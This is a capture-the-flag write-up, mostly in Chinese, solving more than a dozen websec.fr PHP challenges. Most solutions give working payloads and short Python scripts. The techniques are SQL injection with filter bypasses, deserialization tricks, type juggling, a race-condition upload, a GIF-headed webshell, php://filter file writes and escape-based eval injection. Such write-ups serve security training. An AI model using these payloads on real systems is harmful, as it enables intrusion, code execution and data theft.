websec-writeup
📖

websec-writeup

Tags
ctf
data
Dec 5, 2018
2018-12-5

level-1

整型注入
payload
-1 union select 1,2
根据报错信息可知使用的是 sqlite 数据库
payload: -1 union select 1, sql from sqlite_master Other User Details: id -> 1 username -> CREATE TABLE users(id int(7), username varchar(255), password varchar(255)) payload: -1 union select 1, password from users where id=1
flag
WEBSEC{Simple_SQLite_Injection}

level 4

查看源码可知是一个反序列化,这里还需要使用as来设置别名,因为输出的只有username
<?php class SQL { public $query = ''; public $conn; } $a = new SQL(); //$a->query = "select sql as username from sqlite_master"; $a->query = "select password as username from users"; echo base64_encode(serialize($a));
flag
WEBSEC{9abd8e8247cbe62641ff662e8fbb662769c08500}

level 17

<?php if (! strcasecmp ($_POST['flag'], $flag)) echo '<div >Here is your flag: <mark>' . $flag . '</mark>.</div>'; else echo '<div >Invalid flag, sorry.</div>'; ?>
strcasecmp函数在处理数组时会返回0
flag
WEBSEC{It_seems_that_php_could_use_a_stricter_typing_system}

level 25

如果url为///index.php/?,parse_url函数就会返回flase. payload
http://websec.fr///level25/index.php?page=flag
flag
WEBSEC{How_am_I_supposed_to_parse_uri_when_everything_is_so_broooken}

level 28

源码
<?php if(isset($_POST['submit'])) { if ($_FILES['flag_file']['size'] > 4096) { die('Your file is too heavy.'); } $filename = md5($_SERVER['REMOTE_ADDR']) . '.php'; $fp = fopen($_FILES['flag_file']['tmp_name'], 'r'); $flagfilecontent = fread($fp, filesize($_FILES['flag_file']['tmp_name'])); @fclose($fp); file_put_contents($filename, $flagfilecontent); if (md5_file($filename) === md5_file('flag.php') && $_POST['checksum'] == crc32($_POST['checksum'])) { include($filename); // it contains the `$flag` variable } else { $flag = "Nope, $filename is not the right file, sorry."; sleep(1); // Deter bruteforce } unlink($filename); } ?>
由代码可知在进行检验后会sleep 1 秒之后再删除文件,很明显的条件竞争。
脚本
import requests url = 'https://websec.fr/level28/3145c26f770646156102f6eb07129fdc.php' for x in range(1,50): a = requests.get(url) print a.text
先运行脚本,然后上传1.php如下。
<?php echo file_get_contents('./flag.php');?>
flag
WEBSEC{Can_w3_please_h4ve_mutexes_in_PHP_naow?_Wait_there_is_a_pthread_module_for_php?!_Awwww:/}

level 2

双写绕过
payload
-1 ununionion seselectlect 1, sql frfromom sqlite_master //CREATE TABLE users(id int(7), username varchar(255), password varchar(255)) -1 ununionion seselectlect 1,password frfromom users //WEBSEC{BecauseBlacklistsAreOftenAgoodIdea}
flag
WEBSEC{BecauseBlacklistsAreOftenAgoodIdea}

level 8

通过代码可知是通过exif_imagetype函数来检测文件头。
图片马
GIF89a\00\00\E6\00 <?php print_r(scandir("./"));?>
利用scandir函数读取目录结果如下
GIF89a\00\00\E6\00Array ( [0] => . [1] => .. [2] => flag.txt [3] => index.php [4] => php-fpm.sock [5] => source.php [6] => uploads )
读取flag.txt
GIF89a\00\00\E6\00 <?php echo file_get_contents('./flag.txt');?>
flag
WEBSEC{BypassingImageChecksToRCE}

level 10

爆破构造 substr (md5 ($flag . $file . $flag), 0, 8);为0e开头的
脚本
import requests x=0 while 1: x=x+1 url = 'https://websec.fr/level10/index.php?f=.%sflag.php&hash=0'%('/'*x) a = requests.get(url) print x if "Permission denied!" not in a.text: print a.text break
跑到800+.... flag
WEBSEC{Lose_typ1ng_system_are_super_great_aren't_them?}

level 11

源码
<?php ini_set('display_errors', 'on'); ini_set('error_reporting', E_ALL); function sanitize($id, $table) { /* Rock-solid: https://secure.php.net/manual/en/function.is-numeric.php */if (! is_numeric ($id) or $id < 2) { exit("The id must be numeric, and superior to one."); } /* Rock-solid too! */ $special1 = ["!", "\"", "#", "$", "%", "&", "'", "*", "+", "-"]; $special2 = [".", "/", ":", ";", "<", "=", ">", "?", "@", "[", "\\", "]"]; $special3 = ["^", "_", "`", "{", "|", "}"]; $sql = ["union", "0", "join", "as"]; $blacklist = array_merge ($special1, $special2, $special3, $sql); foreach ($blacklist as $value) { if (stripos($table, $value) !== false) exit("Presence of '" . $value . "' detected: abort, abort, abort!\n"); } } if (isset ($_POST['submit']) && isset ($_POST['user_id']) && isset ($_POST['table'])) { $id = $_POST['user_id']; $table = $_POST['table']; sanitize($id, $table); $pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY); $query = 'SELECT id,username FROM ' . $table . ' WHERE id = ' . $id; //$query = 'SELECT id,username,enemy FROM ' . $table . ' WHERE id = ' . $id; $getUsers = $pdo->query($query); $users = $getUsers->fetchArray(SQLITE3_ASSOC); $userDetails = false; if ($users) { $userDetails = $users; $userDetails['table'] = htmlentities($table); } } ?>
子查询注入SQLite3和mysql的子查询有一点区别。测试如下。
mysql
mysql> select id,password from user; +----+----------------------------------+ | id | password | +----+----------------------------------+ | 1 | 7694f4a66316e53c8cdd9d9954bd611d | | 2 | d41d8cd98f00b204e9800998ecf8427e | | 3 | 0cc175b9c0f1b6a831c399e269772661 | +----+----------------------------------+ 3 rows in set (0.00 sec) mysql> select id,password from (select id,password from user); ERROR 1248 (42000): Every derived table must have its own alias
SQLite3
sqlite> select id,password from users; 1|qq 2|ww 3|ee sqlite> select id,password from (select id,password from users); 1|qq 2|ww 3|ee
由结果可知sqlite3可以在form后使用子查询当做结果集,mysql里form后面必须是表名。
不过mysql和sqlite3都可以这样起别名。
mysql> select * from user; +----+----------+----------------------------------+-------------+-------+------+ | id | username | password | server | email | sign | +----+----------+----------------------------------+-------------+-------+------+ | 1 | q | 7694f4a66316e53c8cdd9d9954bd611d | dasdass | 1 | 1 | | 2 | | d41d8cd98f00b204e9800998ecf8427e | imap.qq.com | 1 | 1 | | 3 | a | 0cc175b9c0f1b6a831c399e269772661 | imap.qq.com | a | a | +----+----------+----------------------------------+-------------+-------+------+ 3 rows in set (0.00 sec) mysql> select id username from user; +----------+ | username | +----------+ | 1 | | 2 | | 3 | +----------+ SQLite3 sqlite> select id,username from users; 1|aa 2|bb 3|cc sqlite> select id username from users; 1 2 3
在源码的注释里面有这样一句
//$query = 'SELECT id,username,enemy FROM ' . $table . ' WHERE id = ' . $id;
构造语句读取enemy
id =2 table = (select 2 id,enemy username from costume)
得到flag
WEBSEC{Who_needs_AS_anyway_when_you_have_sqlite}

level 15

payload
}echo $flag;/*
flag
WEBSEC{HHVM_was_right_about_not_implementing_eval}

level 20

关键代码
function sanitize($data) { /* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */ if ( ! preg_match ('/[A-Z]:/', $data)) { return unserialize ($data); } if ( ! preg_match ('/(^|;|{|})O:[0-9+]+:"/', $data )) { return unserialize ($data); } return false; }
需要在这里反序列化,然后触发__destruct方法。
分析正则,第一个是匹配大写字符加冒号的。 第二个会匹配O:。 在序列化数据里面,开头的字母表示了序列化数据的类型。O则表示序列化的是一个class。
PHP 5 中增加了接口(interface)功能。PHP 5 本身提供了一个 Serializable 接口,如果用户在自己定义的类中实现了这个接口,那么在该类的对象序列化时,就会被按照用户实现的方式去进行序列化,并且序列化后的标示不再是 O,而改为 C。
这里可以尝试使用C:来代替O:
payload
C:4:"Flag":0:{} base64 : Qzo0OiJGbGFnIjowOnt9
flag
WEBSEC{CVE-2012-5692_was_a_lof_of_phun_thanks_to_i0n1c_but_this_was_not_the_only_bypass}

level 22

代码
<?php class A { public $pub; protected $pro ; private $pri; function __construct($pub, $pro, $pri) { $this->pub = $pub; $this->pro = $pro; $this->pri = $pri; } } include 'file_containing_the_flag_parts.php'; $a = new A($f1, $f2, $f3); unset($f1); unset($f2); unset($f3); $funcs_internal = get_defined_functions()['internal']; /* lets allow some secure funcs here */unset ($funcs_internal[array_search('strlen', $funcs_internal)]); unset ($funcs_internal[array_search('print', $funcs_internal)]); unset ($funcs_internal[array_search('strcmp', $funcs_internal)]); unset ($funcs_internal[array_search('strncmp', $funcs_internal)]); $funcs_extra = array ('eval', 'include', 'require', 'function'); $funny_chars = array ('\.', '\+', '-', '"', ';', '`', '\[', '\]'); $variables = array ('_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_FILES', '_ENV', 'HTTP_ENV_VARS', '_SESSION', 'GLOBALS'); $blacklist = array_merge($funcs_internal, $funcs_extra, $funny_chars, $variables); $insecure = false; foreach ($blacklist as $blacklisted) { if (preg_match ('/' . $blacklisted . '/im', $code)) { $insecure = true; break; } } if ($insecure) { echo 'Insecure code detected!'; } else { eval ("echo $code;"); } // $blacklist{579}($a)?>
函数get_defined_functions()是获取所有已经定义的函数。
$blacklist变量则是整合了几个数组。最终的这个数组的value是所有定义的函数名。过滤的时候,会过滤所有的函数。但是$blacklist这个数组并没有被过滤。
可以想到动态执行函数。
<?php $a = array('phpinfo'); $a{0}(); //成功执行phpinfo()函数。// $a[0](); 成功执行phpinfo()函数。?>
先写脚本找到var_dump的位置。
import requests import re for x in xrange(31,1000): url = 'https://websec.fr/level22/index.php?code=%%24blacklist%%7B%s%%7D'%(x) a = requests.get(url) fun = re.findall('\n(.*?)</pre>',a.text) print(str(x)+':'+fun[0]) if fun[0] == 'var_dump': break
结果是579
payload
$blacklist{579}($a);
flag
object(A)#1 (3) { ["pub"]=> string(17) "WEBSEC{But_I_was_" ["pro":protected]=> string(18) "told_that_OOP_was_" ["pri":"A":private]=> string(22) "flawless_and_stuff_:<}" } WEBSEC{But_I_was_told_that_OOP_was_flawless_and_stuff_:<}

level 24

代码
<?php ini_set('display_errors', 'on'); ini_set('error_reporting', E_ALL); session_start(); include 'clean_up.php'; /* periodic cleanup */foreach (glob("./uploads/*") as $file) { if (is_file($file)) { unlink($file); } else { if (time() - filemtime($file) >= 60 * 60 * 24 * 7) { Delete($file); } } } $upload_dir = sprintf("./uploads/%s/", session_id()); @mkdir($upload_dir, 0755, true); /* sandboxing ! */ chdir($upload_dir); ini_set('open_basedir', '.'); $p = "list"; $data = ""; $filename = ""; if (isset($_GET['p']) && isset($_GET['filename']) ) { $filename = $_GET['filename']; if ($_GET['p'] === "edit") { $p = "edit"; if (isset($_POST['data'])) { $data = $_POST['data']; if (strpos($data, '<?') === false && stripos($data, 'script') === false) { # no interpretable code please. file_put_contents($_GET['filename'], $data); die ('<meta http-equiv="refresh" content="0; url=.">'); } } elseif (file_exists($_GET['filename'])){ $data = file_get_contents($_GET['filename']); } } } ?>
代码会对上传的文件内容做检测,前两个字符不可以是<?,这里写入文件内容的函数是file_put_contents(),随即想到file_put_contents()函数的第一个参数可以使用php伪协议。可以将shell进行编码后,在通过php伪协议解码再写入文件。
示例
<?php $a = base64_encode("<?php echo 111; ?>"); $b = file_put_contents('php://filter/convert.base64-decode/resource=11.php',$a); ?>
新建的11.php
<?php echo 111; ?>
filename
php://filter/convert.base64-decode/resource=11.php
文件内容
PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnLi4vLi4vZmxhZy5waHAnKTsgPz4=
然后访问11.php,查看源码即可得到flag。
WEBSEC{no_javascript_no_php_I_guess_you_used_COBOL_to_get_a_RCE_right?}

level 03

哈希碰撞,随便输入一串字符,显示的hash值如下
7c00249d409a91ab84e3f421c193520d9fb3674b
测试
$hash = password_hash("\x00 abc", PASSWORD_DEFAULT); var_dump(password_verify("\x00 foo", $hash)); //true
所以找到一串sha1之后的前四位是7c00的hash即可。 flag
WEBSEC{Please_Do_not_combine_rAw_hash_functions_mi}

level 5

payload
https://websec.fr/level05/index.php?q={${include$_GET[a]}}&a=php://filter/read=convert.base64-encode/resource=/flag.php
flag
WEBSEC{Writing_a_sp3llcheckEr_in_php_aint_no_fun}

level 09

题目源代码
<?php ini_set('display_errors', 'on'); ini_set('error_reporting', E_ALL); if( isset ($_GET['submit']) && isset ($_GET['c'])) { $randVal = sha1 (time ()); echo $randVal; setcookie ('session_id', $randVal, time () + 2, '', '', true, true); try { $fh = fopen('/tmp/' . $randVal, 'w'); fwrite ($fh,str_replace (['<?', '?>', '"', "'", '$', '&', '|', '{', '}', ';', '#', ':', '#', ']', '[', ',', '%', '(', ')'],'',$_GET['c'])); fclose($fh); } catch (Exception $e) { var_dump ($e->getMessage ()); } } if (isset ($_GET['cache_file'])) { if (file_exists ($_GET['cache_file'])) { echo eval (stripcslashes(file_get_contents ($_GET['cache_file']))); } } show_source(__FILE__); ?>
题目会将$_GET['c']的值写入/tmp/sha(time())文件中,下面的代码会获取$_GET['cache_file']文件内容,思路很明确,将代码写入tmp目录下的文件中,然后通过$_GET['cache_file']获取写入的文件名(文件名存储在cookie中)。然后执行写入的内容。

有两种解法

界定符

这里include+定界符来包含文件。
<?php $a = "include<<<EOD phpinfo.php EOD ?> "; eval($a);

进制

测试代码
<?php $a = "include\50\42flag.txt\42\51\73"; echo $a."<br>"; echo stripcslashes($a).'<br data-tomark-pass>'; echo eval(stripcslashes($a)); ?>
八进制对应的字符如下
\50 -> ( \42 -> ' \42 -> ' \51 -> ) \73 -> ;
测试16进制也可以。
至于为什么进制可以当做字符,是因为前面的\,会将进制转换为字符。
输出结果
notion image
由输出结果可知
编写脚本如下
import requests r = requests.session() data1 = "include\\x28\\42flag.txt\\42\\51\\73" # 这里有两个\\是为了转义,否则在写入文件之前就会将字符过滤。# data1 = 'echo file_get_contents\\50\\42flag.txt\\42\\51\\73'# data1 = """include<<<EOD# flag.txt# EOD# ??>>""" sub = '1' url = 'https://websec.fr/level09/index.php?submit=%s&c=%s'%(sub,data1) text1 = r.get(url) print(text1.cookies['session_id']) filename = '/tmp/'+text1.cookies['session_id'] print(filename) url_1 = 'https://websec.fr/level09/index.php?submit=%s&c=%s&cache_file=%s'%(sub,data1,filename) text2 = r.get(url_1) print(text2.text)
flag
WEBSEC{stripcslashes_to_bypass}